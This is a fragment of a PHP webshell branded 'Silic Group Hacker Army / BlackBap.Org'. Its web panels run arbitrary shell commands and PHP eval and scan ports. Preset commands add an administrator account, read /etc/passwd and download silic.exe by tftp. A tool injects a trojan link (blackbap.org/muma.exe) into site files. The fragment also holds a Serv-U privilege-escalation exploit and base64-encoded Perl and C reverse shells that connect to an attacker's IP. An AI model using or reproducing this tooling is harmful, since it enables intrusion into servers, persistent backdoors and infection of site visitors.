	if((!empty($_POST['tp'])) && (!empty($_POST['tt'])))
	{
		echo '<div class="actall">';
		$tt = str_replace('.','\\.',$_POST['tt']);
		$td = isset($_POST['td']) ? true : false;
		$tb = ($_POST['tb'] == 'a') ? true : false;
		$th = ($_POST['th'] == 'a') ? true : false;
		if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']);
		echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '<a href="#" onclick="window.location=\'?s=d\'"></a>' : '<a href="#" onclick="window.location=\'?s=d\'"></a>';
		echo '</div>';
		return false;
	}
	$FILE_DIR = File_Str(dirname(__FILE__));
	$ROOT_DIR = File_Mode();
	print<<<END
<script language="javascript">
function Fulllll(i){
	if(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
	else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
  return true;
}
function showth(th){
	if(th == 'a') document.getElementById('setauto').innerHTML = ':<textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>:<textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
	if(th == 'b') document.getElementById('setauto').innerHTML = '<br> <input type="text" name="tca" id="tca" value=".exe|.7z|.rar|.zip|.gz|.txt" style="width:500px;"><br><br> <input type="text" name="tcb" id="tcb" value="http://blackbap.org/muma.exe" style="width:500px;">';
	return true;
}
function autoup(){
	if(document.getElementById('tp').value == ''){alert('');return false;}
	if(document.getElementById('tt').value == ''){alert('');return false;}
	if(document.getElementById('tca').value == ''){alert('');return false;}
	document.getElementById('tform').submit();
}
</script>
<form method="POST" name="tform" id="tform" action="?s=d">
<div class="actall" style="height:35px;"> <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
</select></div>
<div class="actall" style="height:35px;"> <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="3"></option>
<option value="4">+</option>
<option value="5">JS</option>
</select></div>
<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked> <input type="radio" name="th" value="b" onclick="showth('b')"><br>
<div id="setauto"> <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br> <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked></div>
<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>,
<br><input type="radio" name="tb" value="b"></div>
<div class="actall"><input type="button" value="" style="width:80px;height:26px;" onclick="autoup();"></div>
</form>
END;
	return true;
}
//
function Antivirus_Auto($sp,$features,$st,$sb)
{
	if(($h_d = @opendir($sp)) == NULL) return false;
	$ROOT_DIR = File_Mode();
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' || $Filename == '..') continue;
		$Filepath = File_Str($sp.'/'.$Filename);
		if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st);
		if(eregi($st,$Filename))
		{
			if($Filepath == File_Str(__FILE__)) continue;
			$ic = File_Read($Filepath);
			foreach($features as $var => $key)
			{
				if(stristr($ic,$key))
				{
					$Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath);
					$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
					echo ' <a href="'.$Fileurls.'" target="_blank"> <font color="#8B0000"> '.$Filepath.' </font> </a> <br> <a href="?s=e&fp='.urlencode($sp).'&fn='.$Filename.'&dim='.urlencode($key).'" target="_blank">  </a> <a href="?s=e&df='.urlencode($Filepath).'" target="_blank">  </a>  ';
					echo '  '.$Filetime.'  <font color="#FF0000"> '.$var.' </font> <br> <br> '."\r\n";
					break;
				}
			}
			ob_flush();
			flush();
		}
	}
	@closedir($h_d);
	return true;
}

function Antivirus_e()
{
	if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '' : '';} return false;}
	if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
	$SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode();
	$features_php = array('eval'=>'eval(','read'=>'->read()','readdir3'=>'readdir(','MYSQL'=>'returns string soname','1'=>'eval(gzinflate(','2'=>'eval(base64_decode(','3'=>'base64_decode(','eval2'=>'eval (','php'=>'copy($_FILES','2'=>'copy ($_FILES',''=>'move_uploaded_file($_FILES','2'=>'move_uploaded_file ($_FILES',''=>'str_replace(\'\\\\\',\'/\',');
	$features_asx = array(''=>'VBScript.Encode',''=>'#@~^','fso'=>'fso.createtextfile(path,true)','excute'=>'execute','eval'=>'eval','wscript'=>'F935DC22-1CF0-11D0-ADB9-00C04FD58A0B',''=>'13709620-C279-11CE-A49E-444553540000','wscript'=>'WScript.Shell','fso'=>'0D43FE01-F093-11CF-8940-00A0C9054228',''=>'','aspx'=>'Process.GetProcesses','aspx'=>'Request.BinaryRead');
	print<<<END
<form method="POST" name="tform" id="tform" action="?s=e">
<div class="actall"> <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:600px;"></div>
<div class="actall"> <input type="checkbox" name="stphp" value="php" checked>php
<input type="checkbox" name="stasx" value="asx">asp+aspx</div>
<div class="actall" style="height:50px;"><input type="radio" name="sb" value="a" checked>,
<br><input type="radio" name="sb" value="b"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div>
</form>
END;
	if(!empty($_POST['sp']))
	{
		echo '<div class="actall">';
		if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';}
		if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
		if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
		$sb = ($_POST['sb'] == 'a') ? true : false;
		echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? '' :  '';
		echo '</div>';
	}
	return true;
}
//
function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb)
{
	//echo $sfp.'<br>'.$sfc.'<br>'.$sft.'<br>'.$sff.'<br>'.$sfb;
	if(($h_d = @opendir($sfp)) == NULL) return false;
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' || $Filename == '..') continue;
		if(eregi($sft,$Filename)) continue;
		$Filepath = File_Str($sfp.'/'.$Filename);
		if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb);
		if($sff)
		{
			if(stristr($Filename,$sfc))
			{
				echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
				ob_flush();
				flush();
			}
		}
		else
		{
			$File_code = File_Read($Filepath);
			if(stristr($File_code,$sfc))
			{
				echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
				ob_flush();
				flush();
			}
		}
	}
	@closedir($h_d);
	return true;
}
function Findfile_j()
{
	if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '' : '';} return false;}
	if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
	$SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode();
	$SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config';
	$SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip|.pdf|.dll|.exe|.txt|.inf|.ppt|.xls|.js';
	print<<<END
<form method="POST" name="jform" id="jform" action="?s=j">
<div class="actall"> <input type="text" name="sfp" value="{$SCAN_DIR}" style="width:600px;"></div>
<div class="actall"> <input type="text" name="sft" value="{$SCAN_TYPE}" style="width:600px;"></div>
<div class="actall"> <input type="text" name="sfc" value="{$SCAN_CODE}" style="width:395px;">
<input type="radio" name="sff" value="a" checked>
<input type="radio" name="sff" value="b"></div>
<div class="actall" style="height:50px;"><input type="radio" name="sfb" value="a" checked>,
<br><input type="radio" name="sfb" value="b"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div>
</form>
END;
	if((!empty($_POST['sfp'])) && (!empty($_POST['sfc'])))
	{
		echo '<div class="actall">';
		$_POST['sft'] = str_replace('.','\\.',$_POST['sft']);
		$sff = ($_POST['sff'] == 'a') ? true : false;
		$sfb = ($_POST['sfb'] == 'a') ? true : false;
		echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '' : '';
		echo '</div>';
	}
	return true;
}
//
function Info_Cfg($varname){
	switch($result = get_cfg_var($varname)){
		case 0:return "No";break;
		case 1:return "Yes";break;
		default:return $result;break;}}
		function Info_Fun($funName){return(false !==function_exists($funName)) ? "Yes" : "No";}
		function Info_f()
		{
			$dis_func = get_cfg_var("disable_functions");
			$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "";
			$adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
			if($dis_func == ""){$dis_func = "No";}
			else{
				$dis_func = str_replace(" ","<br>",$dis_func);
				$dis_func = str_replace(",","<br>",$dis_func);
			}
			$phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
			$info = array(
					array("/",date("Ymd h:i:s",time())."&nbsp;/&nbsp;".gmdate("Ynj H:i:s",time()+8*3600)),
					array(":(ip)","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>:".$_SERVER['SERVER_PORT']." ( ".gethostbyname($_SERVER['SERVER_NAME'])." )"),
					array("()",PHP_OS." (".$_SERVER['HTTP_ACCEPT_LANGUAGE'].")"),
					array("",$_SERVER['SERVER_SOFTWARE']),
					array("IP",getenv('REMOTE_ADDR')),
					array("PHP()",strtoupper(php_sapi_name())."(".PHP_VERSION.") / :".Info_Cfg("safemode")),
					array("",$adminmail),
					array("",__FILE__),
					array("URL[allow_url_fopen]",Info_Cfg("allow_url_fopen")),
					array("[enable_dl]",Info_Cfg("enable_dl")),
					array("[display_errors]",Info_Cfg("display_errors")),
					array("[register_globals]",Info_Cfg("register_globals")),
					array("[magic_quotes_gpc]",Info_Cfg("magic_quotes_gpc")),
					array("[memory_limit]",Info_Cfg("memory_limit")),
					array("POST[post_max_size]",Info_Cfg("post_max_size")),
					array("[upload_max_filesize]",$upsize),
					array("[max_execution_time]",Info_Cfg("max_execution_time").""),
					array("[disable_functions]",$dis_func),
					array("[phpinfo()]",$phpinfo),
					array("diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
					array("GZ[zlib]",Info_Fun("gzclose")),
					array("ZIP[ZipArchive(php_zip)]",Info_Fun("zip_open")),
					array("IMAP",Info_Fun("imap_close")),
					array("XML",Info_Fun("xml_set_object")),
					array("FTP",Info_Fun("ftp_login")),
					array("Session",Info_Fun("session_start")),
					array("Socket",Info_Fun("fsockopen")),
					array("MySQL",Info_Fun("mysql_close")),
					array("MSSQL",Info_Fun("mssql_close")),
					array("Postgre SQL",Info_Fun("pg_close")),
					array("SQLite",Info_Fun("sqlite_close")),
					array("Oracle",Info_Fun("ora_close")),
					array("Oracle 8",Info_Fun("OCILogOff")),
					array("SyBase",Info_Fun("sybase_close")),
					array("Hyperwave",Info_Fun("hw_close")),
					array("InforMix",Info_Fun("ifx_close")),
					array("FilePro",Info_Fun("filepro_fieldcount")),
					array("DBA/DBM",Info_Fun("dba_close")."&nbsp;/&nbsp;".Info_Fun("dbmclose")),
					array("ODBC/dBASE",Info_Fun("odbc_close")."&nbsp;/&nbsp;".Info_Fun("dbase_close")),
					array("PREL[PCRE]",Info_Fun("preg_match")),
					array("PDF",Info_Fun("pdf_close")),
					array("[GD Library]",Info_Fun("imageline")),
					array("SNMP",Info_Fun("snmpget")),);
			echo '<table width="100%" border="0">';
			for($i = 0;$i < count($info);$i++){echo '<tr><td width="40%">'.$info[$i][0].'</td><td>'.$info[$i][1].'</td></tr>'."\n";}
			echo '</table>';
			return true;
		}
		//
		function Exec_Run($cmd)
		{
			$res = '';
			if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
			elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
			elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
			elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
			elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
			return $res;
		}
		function Exec_g()
		{
			$res = '';
			$cmd = 'dir';
			if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];}
			print<<<END
<script language="javascript">
function sFull(i){
	Str = new Array(14);
	Str[0] = "dir";
	Str[1] = "ls /etc";
	Str[2] = "cat /etc/passwd";
	Str[3] = "cp -a /home/www/html/a.php /home/www2/";
	Str[4] = "uname -a";
	Str[5] = "gcc -o /tmp/silic /tmp/silic.c";
	Str[6] = "net user silic silic /add & net localgroup administrators silic /add";
	Str[7] = "net user";
	Str[8] = "netstat -an";
	Str[9] = "ipconfig";
	Str[10] = "copy c:\\1.php d:\\2.php";
	Str[11] = "tftp -i 123.234.222.1 get silic.exe c:\\silic.exe";
	Str[12] = "lsb_release -a";
	Str[13] = "chmod 777 /tmp/silic.c";
document.getElementById('cmd').value = Str[i];
return true;
}
</script>
<form method="POST" name="gform" id="gform" action="?s=g"><center><div class="actall">
 <input type="text" name="cmd" id="cmd" value="{$cmd}" style="width:399px;">
<select onchange='return sFull(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4"></option>
<option value="5"></option>
<option value="6"></option>
<option value="7"></option>
<option value="8"></option>
<option value="9"></option>
<option value="10"></option>
<option value="11">FTP</option>
<option value="12"></option>
<option value="13"></option>
</select>
<input type="submit" value="" style="width:80px;"></div>
<div class="actall"><textarea name="show" style="width:660px;height:399px;">{$res}</textarea></div></center></form>
END;
			return true;
		}
		//
		function Port_i()
		{
			$Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1';
			$Port_port = isset($_POST['port']) ? $_POST['port'] : '21|22|23|25|80|110|111|135|139|443|445|1433|1521|3306|3389|4899|5432|5631|7001|8000|8080|14147|43958';
			print<<<END
<form method="POST" name="iform" id="iform" action="?s=i">
<div class="actall">IP <input type="text" name="ip" value="{$Port_ip}" style="width:600px;"> </div>
<div class="actall"> <input type="text" name="port" value="{$Port_port}" style="width:720px;"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div>
</form>
END;
			if((!empty($_POST['ip'])) && (!empty($_POST['port'])))
			{
				echo '<div class="actall">';
				$ports = explode('|', $_POST['port']);
				for($i = 0;$i < count($ports);$i++)
				{
					$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2);
					echo $fp ? '<font color="#FF0000"> ---> '.$ports[$i].'</font><br>' : ' ---> '.$ports[$i].'<br>';
					ob_flush();
					flush();
				}
				echo '</div>';
			}
			return true;
		}
		//ServU
		function Servu_l()
		{
			$SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P';
			print<<<END
<div class="actall"><a href="?s=l">[]</a> <a href="?s=l&o=adduser">[]</a></div>
<form method="POST">
	<div class="actall">ServU <input name="SUPort" type="text" value="43958" style="width:300px"></div>
	<div class="actall">ServU <input name="SUUser" type="text" value="LocalAdministrator" style="width:300px"></div>
	<div class="actall">ServU <input name="SUPass" type="text" value="{$SUPass}" style="width:300px"></div>
END;
			if($_GET['o'] == 'adduser')
			{
				print<<<END
<div class="actall"> <input name="user" type="text" value="yoco" style="width:200px">
 <input name="password" type="text" value="silic" style="width:200px">
 <input name="part" type="text" value="C:\\\\" style="width:200px"></div>
END;
			}
			else
			{
				print<<<END
<div class="actall"> <input name="SUCommand" type="text" value="net user silic silic /add & net localgroup administrators silic /add" style="width:600px"><br>
<input name="user" type="hidden" value="silic">
<input name="password" type="hidden" value="silic">
<input name="part" type="hidden" value="C:\\\\"></div>
END;
			}
			echo '<div class="actall"><input type="submit" value="" style="width:80px;"></div></form>';
			if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass'])))
			{
				echo '<div class="actall">';
				$sendbuf = "";
				$recvbuf = "";
				$domain  = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n";
				$adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n".
						"-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n".
						"-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n";
				$deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n";
				$sock = @fsockopen("127.0.0.1", $_POST["SUPort"], $errno, $errstr, 10);
				$recvbuf = @fgets($sock, 1024);
				echo ": $recvbuf <br>";
				$sendbuf = "USER ".$_POST["SUUser"]."\r\n";
				@fputs($sock, $sendbuf, strlen($sendbuf));
				echo ": $sendbuf <br>";
				$recvbuf = @fgets($sock, 1024);
				echo ": $recvbuf <br>";
				$sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
				@fputs($sock, $sendbuf, strlen($sendbuf));
				echo ": $sendbuf <br>";
				$recvbuf = @fgets($sock, 1024);
				echo ": $recvbuf <br>";
				$sendbuf = "SITE MAINTENANCE\r\n";
				@fputs($sock, $sendbuf, strlen($sendbuf));
				echo ": $sendbuf <br>";
				$recvbuf = @fgets($sock, 1024);
				echo ": $recvbuf <br>";
				$sendbuf = $domain;
				@fputs($sock, $sendbuf, strlen($sendbuf));
				echo ": $sendbuf <br>";
				$recvbuf = @fgets($sock, 1024);
				echo ": $recvbuf <br>";
				$sendbuf = $adduser;
				@fputs($sock, $sendbuf, strlen($sendbuf));
				echo ": $sendbuf <br>";
				$recvbuf = @fgets($sock, 1024);
				echo ": $recvbuf <br>";
				if(!empty($_POST['SUCommand']))
				{
					$exp = @fsockopen("127.0.0.1", "21", $errno, $errstr, 10);
					$recvbuf = @fgets($exp, 1024);
					echo ": $recvbuf <br>";
					$sendbuf = "USER ".$_POST['user']."\r\n";
					@fputs($exp, $sendbuf, strlen($sendbuf));
					echo ": $sendbuf <br>";
					$recvbuf = @fgets($exp, 1024);
					echo ": $recvbuf <br>";
					$sendbuf = "PASS ".$_POST['password']."\r\n";
					@fputs($exp, $sendbuf, strlen($sendbuf));
					echo ": $sendbuf <br>";
					$recvbuf = @fgets($exp, 1024);
					echo ": $recvbuf <br>";
					$sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
					@fputs($exp, $sendbuf, strlen($sendbuf));
					echo ": site exec <font color=#006600>".$_POST["SUCommand"]."</font> <br>";
					$recvbuf = @fgets($exp, 1024);
					echo ": $recvbuf <br>";
					$sendbuf = $deldomain;
					@fputs($sock, $sendbuf, strlen($sendbuf));
					echo ": $sendbuf <br>";
					$recvbuf = @fgets($sock, 1024);
					echo ": $recvbuf <br>";
					@fclose($exp);
				}
				@fclose($sock);
				echo '</div>';
			}
		}
		//
		function backconn()
		{
			$ty=$_GET['ty'];
			if($ty=='socket'){
				@set_time_limit(0);
				$system=strtoupper(substr(PHP_OS, 0, 3));
				if(!extension_loaded('sockets'))
				{
					if($system == 'WIN'){@dl('php_sockets.dll') or die("Can't load socket");}
					else{@dl('sockets.so') or die("Can't load socket");}
				}
				if(isset($_POST['host']) && isset($_POST['port']))
				{
					$host = $_POST['host'];
					$port = $_POST['port'];
				}else{
					print<<<END
<div class="actall"><form method=post action="?s=dd&ty=socket">
<br>:<input type="radio" name=info value="linux">Linux <input type="radio" name=info value="win" checked>Windows<br><br>
<input type=text name=host value=""><br>
<input type=text name=port value="1120"><br><br>
<input class="bt" type=submit name=submit value=""><br><br></form></div>
END;
				}
				if($system=="WIN"){$env=array('path' => 'c:\\windows\\system32');}
				else{$env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');}
				$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"),);
				$host=gethostbyname($host);
				$proto=getprotobyname("tcp");
				if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket");}
				if(($ret=socket_connect($sock,$host,$port))<0){die("");}
				else{
					$message=" Silic Group Hacker Army - BlackBap.Org - PHP\n";
					socket_write($sock,$message,strlen($message));
					$cwd=str_replace('\\','/',dirname(__FILE__));
					while($cmd=socket_read($sock,65535,$proto))
					{
						if(trim(strtolower($cmd))=="exit"){socket_write($sock,"Bye\n"); exit;}
						else{
							$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
							if (is_resource($process)){
								fwrite($pipes[0], $cmd);
								fclose($pipes[0]);
								$msg=stream_get_contents($pipes[1]);
								socket_write($sock,$msg,strlen($msg));
								fclose($pipes[1]);
								$msg=stream_get_contents($pipes[2]);
								socket_write($sock,$msg,strlen($msg));
								$return_value = proc_close($process);
							}
						}
					}
				}
			}
			elseif($ty=='linux'){
				$yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR');
				$yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666';
				print<<<END
<div class="actall"><form method="POST" name="kform" id="kform" action="?s=dd&ty=linux">
<br> <input type="text" name="yourip" value="{$yourip}" style="width:400px"><br>
 <input type="text" name="yourport" value="12666" style="width:400px"><br>
 <select name="use"><option value="perl">perl</option><option value="c">c</option></select>&nbsp;&nbsp;
<input type="submit" value="" style="width:80px;"><br><br><br></form></div>
END;
				if((!empty($_POST['yourip'])) && (!empty($_POST['yourport'])))
				{
					echo '<div class="actall">';
					if($_POST['use'] == 'perl')
					{
						$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
						echo File_Write('/tmp/yoco_bc',base64_decode($back_connect_pl),'wb') ? '/tmp/yoco_bc<br>' : '/tmp/yoco_bc<br>';
						$perlpath = Exec_Run('which perl');
						$perlpath = $perlpath ? chop($perlpath) : 'perl';
						echo Exec_Run($perlpath.' /tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '';
					}
					if($_POST['use'] == 'c')
					{
						$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
						echo File_Write('/tmp/yoco_bc.c',base64_decode($back_connect_c),'wb') ? '/tmp/yoco_bc.c<br>' : '/tmp/yoco_bc.c<br>';
						$res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
						@unlink('/tmp/yoco.c');
						echo Exec_Run('/tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '';
					}
					echo '<br> (nc -l -n -v -p '.$_POST['yourport'].') </div>';
				}
				return true;
			}else{
				print<<<END
<div class="actall"><pre>
<br><a href="?s=dd&ty=linux"> [ C/Perl  - Linux ] </a><br><br>
<h5>linuxcmd<br>
perlC/tmp<br>
php<br>
ncnc -vv -l -p 12666</h5><br><br><br>
<a href="?s=dd&ty=socket"> [ Socket - Windows ] </a><br><br>
<h5>PHPSocketcmdshellWebshellWindows<br>
Socketphp_socketsopen/enable<br>
phpinfo()php_socket<br>
SocketPHP<br>
<br>
nc.exenc -vv -l -p 5555<br></h5>
</pre></div>
END;
			}
		}
		//evalphp
		function phpcode()
		{
			print<<<END
<div class="actall"><h5>php:<h5></div>
<form action="?s=ff" method="POST">
<div class="actall"><textarea name="phpcode" rows="20" cols="80">phpinfo();/*print_r(apache_get_modules());*/</textarea></div><br />
<div><input class="bt" type="submit" value="EVAL"></div><br></form>
END;
			$phpcode = $_POST['phpcode'];
			$phpcode = trim($phpcode);
			if($phpcode){
				if(!preg_match('#<\?#si',$phpcode)){$phpcode = "<?php\n\n{$phpcode}\n\n?>";}
				eval("?".">$phpcode<?php ");
				echo '<br><br>';
			}
			return false;
		}
		//
		function otherdb(){
			$db = isset($_GET['db']) ? $_GET['db'] : 'ms';
			print<<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
			if ($db=="ms"){
				$mshost = isset($_POST['mshost']) ? $_POST['mshost']:'localhost';
				$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa';
				$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
				$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
